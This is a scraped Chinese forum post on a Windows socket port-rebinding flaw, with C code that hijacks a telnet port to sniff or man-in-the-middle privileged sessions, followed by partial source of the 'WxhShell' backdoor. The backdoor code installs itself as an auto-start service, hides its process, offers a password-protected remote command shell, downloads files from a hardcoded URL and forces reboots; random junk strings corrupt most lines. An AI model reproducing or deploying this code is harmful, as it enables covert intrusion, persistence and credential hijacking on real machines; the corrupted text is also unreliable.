社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 11543阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: #Z (B4YO  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;`s/|v  
95?$O~I  
  saddr.sin_family = AF_INET; gbQrSJs!Zh  
ix*n<lCoC  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); dM#\h*:=  
o!\Vk~Vi&  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); A GS?<6W-  
n#bC ,  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 TJ2$ Z  
3 LoB-4u?  
  这意味着什么?意味着可以进行如下的攻击: 80 i<Ij8J  
ndW? ?wiM  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 PHZA?>Q7Z  
C+*: lLY  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) NC@OmSR\0  
'd0]`2tVg4  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 u= !?<Q  
&*[T  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。   h ej  
1r|'n aiZ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 oT%~)g  
Pou`PNvH  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 f{k2sU*uBE  
iS=} | 8"  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 4CfPa6_  
}(20MW8rMc  
  #include j`='SzVloW  
  #include WPCaxA+l  
  #include ~.yt  
  #include    4^  $  
  DWORD WINAPI ClientThread(LPVOID lpParam);   r Fdq \BSi  
  int main() wUW+S5"K  
  { \ec,=7S<Zf  
  WORD wVersionRequested; 7 45Uo'  
  DWORD ret; JX`+b  
  WSADATA wsaData; DY0G ;L 3  
  BOOL val; zF3fpEKe  
  SOCKADDR_IN saddr; |jO&qT]{  
  SOCKADDR_IN scaddr; :a[L-lr`e  
  int err; :W-"UW,  
  SOCKET s; g}P.ksM  
  SOCKET sc; ;r"YZs&Xd  
  int caddsize; ^szCf|SM  
  HANDLE mt; :TX!lbCq  
  DWORD tid;   V!a\:%#^Y  
  wVersionRequested = MAKEWORD( 2, 2 ); @/E5$mX`  
  err = WSAStartup( wVersionRequested, &wsaData ); YRAWylm  
  if ( err != 0 ) { 8b[ ^6]rM  
  printf("error!WSAStartup failed!\n"); %Nzg~ZPbmT  
  return -1; AEe*A+  
  } H '&x4[J:  
  saddr.sin_family = AF_INET; >N{K)a  
   j#Bea ,  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 +8v^J8q0  
^e8~eL+  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ` SZ^~O  
  saddr.sin_port = htons(23); : H0+}=  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3?.3Z!H/  
  { ' DCrSa>  
  printf("error!socket failed!\n"); Qpe&_.&RE  
  return -1; t' o:aI  
  } al(t-3`<  
  val = TRUE; E[)`+:G]  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 xQ-]Iw5  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Jp=ur)Dj  
  { gH(,>}{^K  
  printf("error!setsockopt failed!\n"); VSL6tQp  
  return -1;  (/-2bO  
  } {%)bxk6  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; A<ur20   
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 wtu WzHrF  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Q]uxZ;}aF  
N3!x7J7A  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) pGc_Klq  
  { KtG|m'\D  
  ret=GetLastError(); FrIguk1  
  printf("error!bind failed!\n"); CC;T[b&  
  return -1; '+hiCX-_  
  } y9cW&rDH  
  listen(s,2); Q"h/o"-h  
  while(1) mg;+Th &  
  { Mm;kB/ 1  
  caddsize = sizeof(scaddr); \25Rq/&w  
  //接受连接请求 :,h47'0A  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); PmZ-H>  
  if(sc!=INVALID_SOCKET) K.Nun)<  
  { vUk <z*  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 5A g 4o  
  if(mt==NULL) [y7BHikX)  
  { .z^ePZ|mV  
  printf("Thread Creat Failed!\n"); zYvf}L&]h  
  break; 8$xd;+`y'  
  } mJ2>#j;5f  
  } u]lf~EE  
  CloseHandle(mt); Ghs{B8  
  } OlL FuVR  
  closesocket(s); ,B_Nz}\8  
  WSACleanup(); hX# y7m  
  return 0; sOhQu>gN  
  }   Q=}p P*  
  DWORD WINAPI ClientThread(LPVOID lpParam) %5?qS`/c(  
  { .DR^<Qy  
  SOCKET ss = (SOCKET)lpParam; -aK_  
  SOCKET sc; _z4c7_H3  
  unsigned char buf[4096]; ^oDCF  
  SOCKADDR_IN saddr;  yr9%,wwN  
  long num; d~M;@<eD  
  DWORD val; _WO*N9Iz  
  DWORD ret; 2Dgulx5kGZ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 4E/Q+^?  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   +Wrj%}+  
  saddr.sin_family = AF_INET; #EQwl6  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); K;^$n>Y  
  saddr.sin_port = htons(23); ZV=O oL t,  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) owM3Gz%?UA  
  { mxt fKPb  
  printf("error!socket failed!\n"); }SpjB  
  return -1; scZdDbL6+  
  } N/IDj2C4  
  val = 100; CV&+^_j'k  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) s ~c_9,JK  
  { FRqJ#yd]  
  ret = GetLastError(); do@`(f3 g  
  return -1; fG_.&!P  
  } hfw$820y[  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \Jq$!foYx  
  { ^x8*]Sz#x  
  ret = GetLastError(); "& h;\hL  
  return -1; <mN.6@*{  
  } //T1e7)  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) `}<x"f7.z  
  { @Cg%7AF  
  printf("error!socket connect failed!\n"); Z7>pz:,  
  closesocket(sc); A Ws y9  
  closesocket(ss); >1u!(-A  
  return -1; tl5}#uJ  
  } M#ED49Dh>  
  while(1) 6vy(@z  
  { 8s^CE[TA  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Awy-kou[C  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 qYjR  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 GF]V$5.ps  
  num = recv(ss,buf,4096,0); G>"=Af(t?Y  
  if(num>0) |&!04~s;E  
  send(sc,buf,num,0); 0*G =~:  
  else if(num==0) *q**,_?;  
  break;  |e49F  
  num = recv(sc,buf,4096,0); u By[x 0  
  if(num>0) =qG%h5]n  
  send(ss,buf,num,0); cXP*?N4C f  
  else if(num==0) _gDEIoBp  
  break; `P/7Mf  
  } |Rk9W  
  closesocket(ss); 9C9>V]  
  closesocket(sc); 3Ov? kWFO  
  return 0 ; Ne>yFl"u  
  } !Q(xA,p  
j8gw]V/B:  
JAEn 72  
========================================================== Y.FqWJP=p  
oTS/z\C"<u  
下边附上一个代码,,WXhSHELL KA^r,Iw  
'VVEd[  
========================================================== Am>^{qh9  
rZ[}vU/H`  
#include "stdafx.h" zX=K2tH  
.%Pt[VQ  
#include <stdio.h> 5MU-Eu|*>  
#include <string.h> W`auQO  
#include <windows.h> cPu<:<F[  
#include <winsock2.h> 0i%r+_E_  
#include <winsvc.h> ).IB{+  
#include <urlmon.h> NmbA~i  
Yu1[`QbB  
#pragma comment (lib, "Ws2_32.lib") G!Gbg3:4e5  
#pragma comment (lib, "urlmon.lib") P[Q3z$I}  
O>FE-0rW}e  
#define MAX_USER   100 // 最大客户端连接数 S: b-+w|*  
#define BUF_SOCK   200 // sock buffer ]dvNUD   
#define KEY_BUFF   255 // 输入 buffer b{X,0a{*  
_4+'@u #  
#define REBOOT     0   // 重启 |t<Uh,Bt  
#define SHUTDOWN   1   // 关机 /<"<N<X  
 Y7q=]  
#define DEF_PORT   5000 // 监听端口 xcf`i:\  
_6O\*|'6  
#define REG_LEN     16   // 注册表键长度 `Ckx~'1M:  
#define SVC_LEN     80   // NT服务名长度 G%Dhj)2}  
W.67};',  
// 从dll定义API A!xx#+M  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); '#Yqs/V  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _'OXrT#Q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }wY6^JF  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); kx3?'=0;5  
:U>[*zE4&  
// wxhshell配置信息 yv),>4_6  
struct WSCFG { M9*#8>  
  int ws_port;         // 监听端口 :9c[J$R4  
  char ws_passstr[REG_LEN]; // 口令 hW~XE{<  
  int ws_autoins;       // 安装标记, 1=yes 0=no 0 rge]w.X  
  char ws_regname[REG_LEN]; // 注册表键名 Qg^Ga0Lf6  
  char ws_svcname[REG_LEN]; // 服务名 #Cy9E"lP  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 j*XhBWE?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +c+i~5B4  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 j2dptM3t{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Wjf,AjL\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" J/T$.*X  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |:[ [w&R  
IXA3G7$)  
}; V$OZC;4  
cUB+fH<B2  
// default Wxhshell configuration >^odV ;^  
struct WSCFG wscfg={DEF_PORT, =uG}pgh0  
    "xuhuanlingzhe", BNj@~uC{  
    1, 4ju=5D];   
    "Wxhshell", 7~f"8\  
    "Wxhshell", C*C;n4AT  
            "WxhShell Service", JI5%fU%O#n  
    "Wrsky Windows CmdShell Service", k/lU]~PE  
    "Please Input Your Password: ", 39!$x[  
  1, ;5cN o&  
  "http://www.wrsky.com/wxhshell.exe", ZUg ~8VVe  
  "Wxhshell.exe" Q)lN7oD  
    }; mBtXa|PJ  
|``rSEXYs  
// 消息定义模块 L9"yQD^R7?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 'Edm /+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; x@aWvrL  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :"im2J  
char *msg_ws_ext="\n\rExit."; |<2g^ZK)  
char *msg_ws_end="\n\rQuit."; :U{$G( <  
char *msg_ws_boot="\n\rReboot..."; GJeP~   
char *msg_ws_poff="\n\rShutdown..."; <F%c"Rkh  
char *msg_ws_down="\n\rSave to "; t5M"M{V  
s+fjQo4  
char *msg_ws_err="\n\rErr!"; Kn#CIFbBN  
char *msg_ws_ok="\n\rOK!"; C2a2K={  
Fk4T>8q2;  
char ExeFile[MAX_PATH]; WL#E%6p[  
int nUser = 0; g##yR/L  
HANDLE handles[MAX_USER]; lL<LJ :L  
int OsIsNt; kM JA#{<  
GxynLXWo>  
SERVICE_STATUS       serviceStatus; 9CNeMoA$p:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Dr oa1_FX  
`|2p1Ei  
// 函数声明 {0Jpf[.f  
int Install(void); J? 4E Hl  
int Uninstall(void); R5b!Ao  
int DownloadFile(char *sURL, SOCKET wsh); 2m8|0E|@  
int Boot(int flag); wRj||yay#-  
void HideProc(void); Z !81\5  
int GetOsVer(void); EvJ<X,Bo  
int Wxhshell(SOCKET wsl); 0e,U&B<W  
void TalkWithClient(void *cs); t(.jJ>|+*  
int CmdShell(SOCKET sock); <aR sogu"P  
int StartFromService(void); +U^H`\EUr  
int StartWxhshell(LPSTR lpCmdLine); V/dL-;W;  
^VOA69n>$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -TT{4\%s  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1Z_2s2`p  
. l>.  
// 数据结构和表定义 %p}xW V.  
SERVICE_TABLE_ENTRY DispatchTable[] = =cwdl7N&I  
{ ~:xR0dqx  
{wscfg.ws_svcname, NTServiceMain}, 25H=RTw  
{NULL, NULL} CU+H`-+"J  
}; tZz *O%  
%8hx3N8>  
// 自我安装 PJn|  
int Install(void) `D,mZj/b  
{ }Nc Ed;  
  char svExeFile[MAX_PATH]; ?`+G0VT  
  HKEY key; Sa 8T'%W  
  strcpy(svExeFile,ExeFile); S0]JeP+3!  
|e+r|i]  
// 如果是win9x系统,修改注册表设为自启动 Evy_I+l  
if(!OsIsNt) { 'u84d=*l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2,^ U8/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >V$ S\"  
  RegCloseKey(key); o ?`LZd:{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j FH wu*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x T{s%wE  
  RegCloseKey(key); Id<O/C  
  return 0; k"pN  
    } 3jzmiS]  
  } C lWxL#L6~  
} gnWEsA\!  
else { g><i tA?  
xhw0YDGzf  
// 如果是NT以上系统,安装为系统服务 dml,|k=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >ca w :  
if (schSCManager!=0) Lyy:G9OV  
{ ~RU-N%Kn  
  SC_HANDLE schService = CreateService mhv ;pM6  
  ( j G^f_w  
  schSCManager,  Uip-qWI  
  wscfg.ws_svcname, ]z#9)i_l3  
  wscfg.ws_svcdisp, "wj~KbT}&  
  SERVICE_ALL_ACCESS, MY>*F[~ 2  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~gA^tc3G  
  SERVICE_AUTO_START, qbq.r&F&  
  SERVICE_ERROR_NORMAL, >E\U$}WCG  
  svExeFile, "59"HVV  
  NULL, Fu\!'\6  
  NULL, OeYZLC(  
  NULL, #8CeTR23cw  
  NULL, d]I3zS IC  
  NULL i~i ?M)  
  ); _(J4  
  if (schService!=0) n?S~(4%  
  { +8Q5[lh2]j  
  CloseServiceHandle(schService); "Gc\"'^r  
  CloseServiceHandle(schSCManager); .:9XpKbt  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *Q!I^]CR  
  strcat(svExeFile,wscfg.ws_svcname); 3:?QE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +&*Ybbhb  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); I/k/5  
  RegCloseKey(key); 2=`}:&0l  
  return 0; t+IrQf,P[  
    } E! mxa  
  } %j. *YvveW  
  CloseServiceHandle(schSCManager); #QM9!k@9k  
} =j^wa')  
} #``Alh8  
g=Bge)  
return 1; y*vg9`$k  
} Y5R|)x  
]\6*2E{1m  
// 自我卸载 /:+MUw7~  
int Uninstall(void) v%4zP%4Ak[  
{ [n2)6B\/  
  HKEY key; 4Pkl()\c  
WJBwo%J  
if(!OsIsNt) { dCO7"/IHW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >7(7  
  RegDeleteValue(key,wscfg.ws_regname); .-?Txkwb  
  RegCloseKey(key); x#jJ 0T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `^'0__<M  
  RegDeleteValue(key,wscfg.ws_regname); 3!Cab/T  
  RegCloseKey(key); &2//\Qz  
  return 0; SS7C|*-Zd  
  } $m[* )0/  
} UYkuz  
} U`kO<ztk  
else { gI{56Z  
Sp./*h\}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "Ax#x  
if (schSCManager!=0) ofy)}/i  
{ wY{!gQ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); w|( ix;pK  
  if (schService!=0) .,&6 x.  
  { IiZXIG4H  
  if(DeleteService(schService)!=0) { >d<tcaB  
  CloseServiceHandle(schService); <hB~|a<#  
  CloseServiceHandle(schSCManager); G`R_kg9$  
  return 0; UdK+,k~m/  
  } U!i@XA%P  
  CloseServiceHandle(schService); $&KiN82,  
  } k56*eEc  
  CloseServiceHandle(schSCManager); i/aj;t  
} tvR|!N }  
} [WN2ZQ  
WF`  
return 1; 2|D<0d#W  
} ,.TwM;w=  
#)z7&nD  
// 从指定url下载文件 l;vA"b=]  
int DownloadFile(char *sURL, SOCKET wsh) GEZ!z5";BQ  
{ n{E9p3i  
  HRESULT hr; =0_((eXwf  
char seps[]= "/"; l( uV@_3  
char *token; )@E'yHYO>  
char *file; jFG Y`9Zw0  
char myURL[MAX_PATH]; ^y2}C$1V  
char myFILE[MAX_PATH]; _GsHT\  
tW=oAy  
strcpy(myURL,sURL); t&nK5p95(  
  token=strtok(myURL,seps); b0h>q$b  
  while(token!=NULL) `V=F>s$W  
  { Oi$$vjs2  
    file=token; C`b)}dY  
  token=strtok(NULL,seps); gM_MK8py  
  } :8l#jU `y  
]:Sb#=,!&!  
GetCurrentDirectory(MAX_PATH,myFILE); 3Nk )  
strcat(myFILE, "\\"); ?7Skk  
strcat(myFILE, file); ?Suv.!wfLl  
  send(wsh,myFILE,strlen(myFILE),0); E#/vgm=W;  
send(wsh,"...",3,0); I^!c1S  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); tN-B`d 1  
  if(hr==S_OK) 7-2,|(Xg  
return 0; <-N7Skkk!  
else &D#B"XI  
return 1; wY_! s Qo  
}080=E  
} *(j -jbA  
uV\~2#o$_  
// 系统电源模块 f\c%G=y  
int Boot(int flag) b_GAK  
{ ;0;5+ J7  
  HANDLE hToken; #r;uM+  
  TOKEN_PRIVILEGES tkp; Rkh ^|_<!  
&C.m*^`^  
  if(OsIsNt) { ?oulQR6:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); M<cm]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); w_9[y  
    tkp.PrivilegeCount = 1; ^s6C']q *O  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; % QI6`@Y"  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); FXo{|z3  
if(flag==REBOOT) { *>J45U(6:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) mcLxX'c6<h  
  return 0; A}z1~Z+  
} oPC qv  
else { &WHK|bl  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) U_1N*XK6$  
  return 0; 02mu%|"  
} B+2Jea,N  
  } .MI 5?]_  
  else { am# (ms  
if(flag==REBOOT) { W;ADc2#)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %\?Gzc_  
  return 0; [Ontip  
} 7,,#f&jP  
else { ~ _W>ND  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Jec<1|  
  return 0; sT+\ z  
} ?J's>q^X  
} #u$ Z/,  
A^@,Ha  
return 1; VQHQvFRZ)  
} G L8 N!,  
B6"pw0  
// win9x进程隐藏模块 )`-vN^1S-  
void HideProc(void) of>}fJ_p  
{ H'wh0K(  
6I~{~YvB"  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); H <ugc  
  if ( hKernel != NULL ) e3x;(@j  
  { 73tWeZ8rvx  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); NK|m7 (  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .9KW| (uW  
    FreeLibrary(hKernel); Nj|~3 *KO  
  } z+F:_  
O:Ob{k  
return; w"?E=RS  
} l527>7 eT  
FN295:Iuw  
// 获取操作系统版本 P<s:dH"  
int GetOsVer(void) 8`;3`lZ  
{ MRL,#+VxA  
  OSVERSIONINFO winfo; W!4xE  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); v m)'C C  
  GetVersionEx(&winfo); HK!Vd_&9,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Y~uqKb;A  
  return 1; v9+1[Y";  
  else $,#,yl ol  
  return 0; ?,Zc{   
} {#J1D*?$"  
>W?7a:#,  
// 客户端句柄模块 9Qhk~^ngg  
int Wxhshell(SOCKET wsl) +)QA!g$  
{  =[G)  
  SOCKET wsh; 5"8R|NU:\0  
  struct sockaddr_in client; {GM8}M~D&  
  DWORD myID; SWM6+i p  
]#Q'~X W  
  while(nUser<MAX_USER) FAP1Bm  
{ Ax"I$6n>  
  int nSize=sizeof(client); h2#S ?  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); W(&9S[2  
  if(wsh==INVALID_SOCKET) return 1; rkC6 -9V  
3+| {O  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]z_C7Y"4BR  
if(handles[nUser]==0) {_5PN^J  
  closesocket(wsh); DC8,ns]!y  
else >5}jM5$  
  nUser++; ,Jh('r7  
  } HRZ3}8Qj  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); I\peO/w  
d*TpHLm  
  return 0; SK_i 3?  
} +i.b&PF'H  
bLpGrGJs  
// 关闭 socket ?{M!syD<  
void CloseIt(SOCKET wsh) 9dXtugp|  
{ a?QDf5C q  
closesocket(wsh); Il9pL~u  
nUser--; F Wzf8*^  
ExitThread(0); C/je5  
} b(McH*_8e  
GDj ViAFm  
// 客户端请求句柄 9XPQ1LSx  
void TalkWithClient(void *cs) mQ]wLPP{1  
{ L?( % *  
k 1   
  SOCKET wsh=(SOCKET)cs; ljo^ 2  
  char pwd[SVC_LEN]; Q&Ox\*sMK  
  char cmd[KEY_BUFF]; M:OJL\0  
char chr[1];  zOnQ656  
int i,j; \XXS;  
%<Q?|}  
  while (nUser < MAX_USER) { * 5Y.9g3)Q  
MJ:>ZRXC E  
if(wscfg.ws_passstr) { h7H#sL[^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >@o}l:*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JV#)?/a$z  
  //ZeroMemory(pwd,KEY_BUFF); 'ehJr/0&g  
      i=0; #e:*]A'I  
  while(i<SVC_LEN) {  _,2P4  
&G>EBKn\2`  
  // 设置超时 VIxt;yE  
  fd_set FdRead; t $+46**  
  struct timeval TimeOut; @Pc]qu  
  FD_ZERO(&FdRead); yEfV8aY'*  
  FD_SET(wsh,&FdRead); Q(2X$7iRq  
  TimeOut.tv_sec=8; )A4WK+yD$z  
  TimeOut.tv_usec=0; zaVDe9B,7  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |ei?s1)  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); aQEMCWxZ  
J0U9zI4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +{j? +4(B  
  pwd=chr[0]; 43;@m}|7$  
  if(chr[0]==0xd || chr[0]==0xa) { _r}oYs%1  
  pwd=0; )oSUhU26}  
  break; 3 9Ql|l$  
  } fFfH9cl!  
  i++; 2>l:: 8Pp  
    } !$>d75zli  
2dr[0tE  
  // 如果是非法用户,关闭 socket y/m^G=Q6g#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  |Aw(v6  
} ,Jf)A/_  
d/GP.d  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); J(\"\Z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "b!QE2bRO  
Lj$yGdK<  
while(1) { @awaN  
cf|<~7  
  ZeroMemory(cmd,KEY_BUFF); PomX@N}1  
6?0 ^U 9  
      // 自动支持客户端 telnet标准   K'%,dn  
  j=0; rSD!u0c [  
  while(j<KEY_BUFF) { |Mp_qg?g  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j:0VtJo~  
  cmd[j]=chr[0]; 9Osjh G  
  if(chr[0]==0xa || chr[0]==0xd) { %TUljX K}  
  cmd[j]=0; ! G%LYHx  
  break; 8Us5Oi  
  } MO :##C  
  j++; QY2!.a^q  
    } sa`7_KB  
$.}fL;BzVz  
  // 下载文件 <v"C`cga  
  if(strstr(cmd,"http://")) { C9/?B:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8kih81tx"U  
  if(DownloadFile(cmd,wsh)) qphN   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); I~qS6#%r  
  else Fz16m7.  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8=7u,t  
  } 2;4Of~  
  else { qeCx.Z  
]do0{I%\eq  
    switch(cmd[0]) { ";j/k9DE  
  ehXj.z  
  // 帮助 M"K$81  
  case '?': { :eI .E:/'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); vZC2F  
    break; x!q$`zF\\  
  } ,SJB 3if  
  // 安装 .bvB8VOrW  
  case 'i': { $6:j3ZTXrt  
    if(Install()) |Gjd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nD.4c-hd$q  
    else @.-g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,:-S<]fS{_  
    break; r]km1SrS  
    }  :XF;v  
  // 卸载 Wn24eld"x  
  case 'r': { !wvP 24"y  
    if(Uninstall()) 'r4 j;Jn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K2L+tw  
    else T"t3e=xA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +J$[RxQ#  
    break; F5.Vhg  
    } W)V"QrFK  
  // 显示 wxhshell 所在路径 [Y*p I&f  
  case 'p': { d>NElug  
    char svExeFile[MAX_PATH]; r M'snW)  
    strcpy(svExeFile,"\n\r"); 4NwGP^ n  
      strcat(svExeFile,ExeFile); Y{@ez  
        send(wsh,svExeFile,strlen(svExeFile),0); &^1DNpUZ  
    break; ~LHG  
    } Qm,|'y:Tg  
  // 重启 ZSYXUFz  
  case 'b': { c3!d4mC:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); g`gH]W FcG  
    if(Boot(REBOOT)) F%6al,8P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PR~ho&!  
